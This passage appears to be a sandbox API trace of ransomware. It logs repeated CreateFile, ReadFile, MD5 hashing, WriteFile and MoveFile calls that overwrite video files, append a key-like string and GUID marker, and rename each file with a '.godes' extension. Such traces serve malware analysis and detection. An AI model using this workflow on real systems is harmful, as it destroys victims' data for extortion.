dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.775] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=102324) returned 1 [0114.775] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.777] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x18f8e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.777] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.778] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.778] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.778] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.778] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x18fb4, lpOverlapped=0x0) returned 1 [0114.779] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.779] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.779] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.779] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.779] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740e28) returned 1 [0114.780] CryptCreateHash (in: hProv=0x740e28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.780] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.780] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.780] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.780] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.780] GetLastError () returned 0x0 [0114.780] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.781] CryptReleaseContext (hProv=0x740e28, dwFlags=0x0) returned 1 [0114.781] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.781] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x18fb0) returned 0x3323120 [0114.781] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.781] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.781] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0x18faf, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0x18faf, lpOverlapped=0x0) returned 1 [0114.781] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.781] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x18fb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.782] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.782] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.782] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.782] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.782] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.782] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.782] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.782] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.782] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.782] CloseHandle (hObject=0x624) returned 1 [0114.783] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ea90 [0114.783] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8c0) returned 0x331e748 [0114.783] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ea90 | out: hHeap=0x660000) returned 1 [0114.783] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nOWtjkGkh\\jsWtpdCwPYsyb9M.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\nowtjkgkh\\jswtpdcwpysyb9m.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nOWtjkGkh\\jsWtpdCwPYsyb9M.mp4.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\nowtjkgkh\\jswtpdcwpysyb9m.mp4.godes")) returned 1 [0114.784] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.784] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.785] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3201530 | out: hHeap=0x660000) returned 1 [0114.785] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1337f610, ftCreationTime.dwHighDateTime=0x1d4cf68, ftLastAccessTime.dwLowDateTime=0x795470e0, ftLastAccessTime.dwHighDateTime=0x1d4c699, ftLastWriteTime.dwLowDateTime=0x795470e0, ftLastWriteTime.dwHighDateTime=0x1d4c699, nFileSizeHigh=0x0, nFileSizeLow=0x1a9d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lFpYY8gUsJM4.swf", cAlternateFileName="LFPYY8~1.SWF")) returned 1 [0114.785] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.785] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd6) returned 0x3201530 [0114.785] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.785] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nOWtjkGkh\\lFpYY8gUsJM4.swf") returned=".swf" [0114.785] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nOWtjkGkh\\lFpYY8gUsJM4.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\nowtjkgkh\\lfpyy8gusjm4.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.785] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=6813) returned 1 [0114.785] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.787] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1a77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.787] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.788] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.789] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.789] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.789] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x1a9d, lpOverlapped=0x0) returned 1 [0114.789] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.789] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.789] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.789] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.789] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740e28) returned 1 [0114.790] CryptCreateHash (in: hProv=0x740e28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.790] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.790] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.790] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.790] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.790] GetLastError () returned 0x0 [0114.790] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.790] CryptReleaseContext (hProv=0x740e28, dwFlags=0x0) returned 1 [0114.790] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.790] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1aa0) returned 0x3323120 [0114.790] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.790] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.790] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0x1a98, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0x1a98, lpOverlapped=0x0) returned 1 [0114.791] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.791] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1a9d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.791] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.791] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.791] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.791] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.791] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.791] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.791] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.791] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.791] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.791] CloseHandle (hObject=0x624) returned 1 [0114.792] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ea90 [0114.792] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8c0) returned 0x331e748 [0114.792] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ea90 | out: hHeap=0x660000) returned 1 [0114.792] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nOWtjkGkh\\lFpYY8gUsJM4.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\nowtjkgkh\\lfpyy8gusjm4.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nOWtjkGkh\\lFpYY8gUsJM4.swf.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\nowtjkgkh\\lfpyy8gusjm4.swf.godes")) returned 1 [0114.792] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.793] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.793] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3201530 | out: hHeap=0x660000) returned 1 [0114.793] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cf7b30, ftCreationTime.dwHighDateTime=0x1d4cb1a, ftLastAccessTime.dwLowDateTime=0xc8e8370, ftLastAccessTime.dwHighDateTime=0x1d4c61b, ftLastWriteTime.dwLowDateTime=0xc8e8370, ftLastWriteTime.dwHighDateTime=0x1d4c61b, nFileSizeHigh=0x0, nFileSizeLow=0x12c50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sN0C0aYPZzpc_DWHdG_S.swf", cAlternateFileName="SN0C0A~1.SWF")) returned 1 [0114.793] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.793] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd6) returned 0x3201530 [0114.794] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.794] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nOWtjkGkh\\sN0C0aYPZzpc_DWHdG_S.swf") returned=".swf" [0114.794] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nOWtjkGkh\\sN0C0aYPZzpc_DWHdG_S.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\nowtjkgkh\\sn0c0aypzzpc_dwhdg_s.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.794] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=76880) returned 1 [0114.794] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.796] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x12c2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.796] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.797] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.797] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.797] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.798] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x12c50, lpOverlapped=0x0) returned 1 [0114.799] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.799] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.799] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.799] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.799] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740e28) returned 1 [0114.799] CryptCreateHash (in: hProv=0x740e28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.800] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.800] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.800] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.800] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.800] GetLastError () returned 0x0 [0114.800] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.800] CryptReleaseContext (hProv=0x740e28, dwFlags=0x0) returned 1 [0114.800] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.800] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x12c50) returned 0x3323120 [0114.800] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.800] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.800] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0x12c4b, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0x12c4b, lpOverlapped=0x0) returned 1 [0114.800] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.801] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x12c50, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.801] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.801] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.801] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.801] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.801] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.801] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.801] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.801] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.801] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.801] CloseHandle (hObject=0x624) returned 1 [0114.802] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x32518f0 [0114.802] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8d0) returned 0x331e748 [0114.802] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0114.802] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nOWtjkGkh\\sN0C0aYPZzpc_DWHdG_S.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\nowtjkgkh\\sn0c0aypzzpc_dwhdg_s.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nOWtjkGkh\\sN0C0aYPZzpc_DWHdG_S.swf.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\nowtjkgkh\\sn0c0aypzzpc_dwhdg_s.swf.godes")) returned 1 [0114.803] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.803] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.804] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3201530 | out: hHeap=0x660000) returned 1 [0114.804] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15e28960, ftCreationTime.dwHighDateTime=0x1d4cd07, ftLastAccessTime.dwLowDateTime=0x2806a350, ftLastAccessTime.dwHighDateTime=0x1d4d3fc, ftLastWriteTime.dwLowDateTime=0x2806a350, ftLastWriteTime.dwHighDateTime=0x1d4d3fc, nFileSizeHigh=0x0, nFileSizeLow=0xa4ad, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="V99IOj.flv", cAlternateFileName="")) returned 1 [0114.804] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x3321398 [0114.804] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd6) returned 0x3201530 [0114.804] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321398 | out: hHeap=0x660000) returned 1 [0114.804] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nOWtjkGkh\\V99IOj.flv") returned=".flv" [0114.804] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y9ZmZISZtA8fIYtTxfZp\\nOWtjkGkh\\V99IOj.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y9zmziszta8fiyttxfzp\\nowtjkgkh\\v99ioj.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.804] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=42157) returned 1 [0114.804] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.806] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xa487, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.806] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.809] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.809] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.809] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.809] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xa4ad, lpOverlapped=0x0) returned 1 [0114.810] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 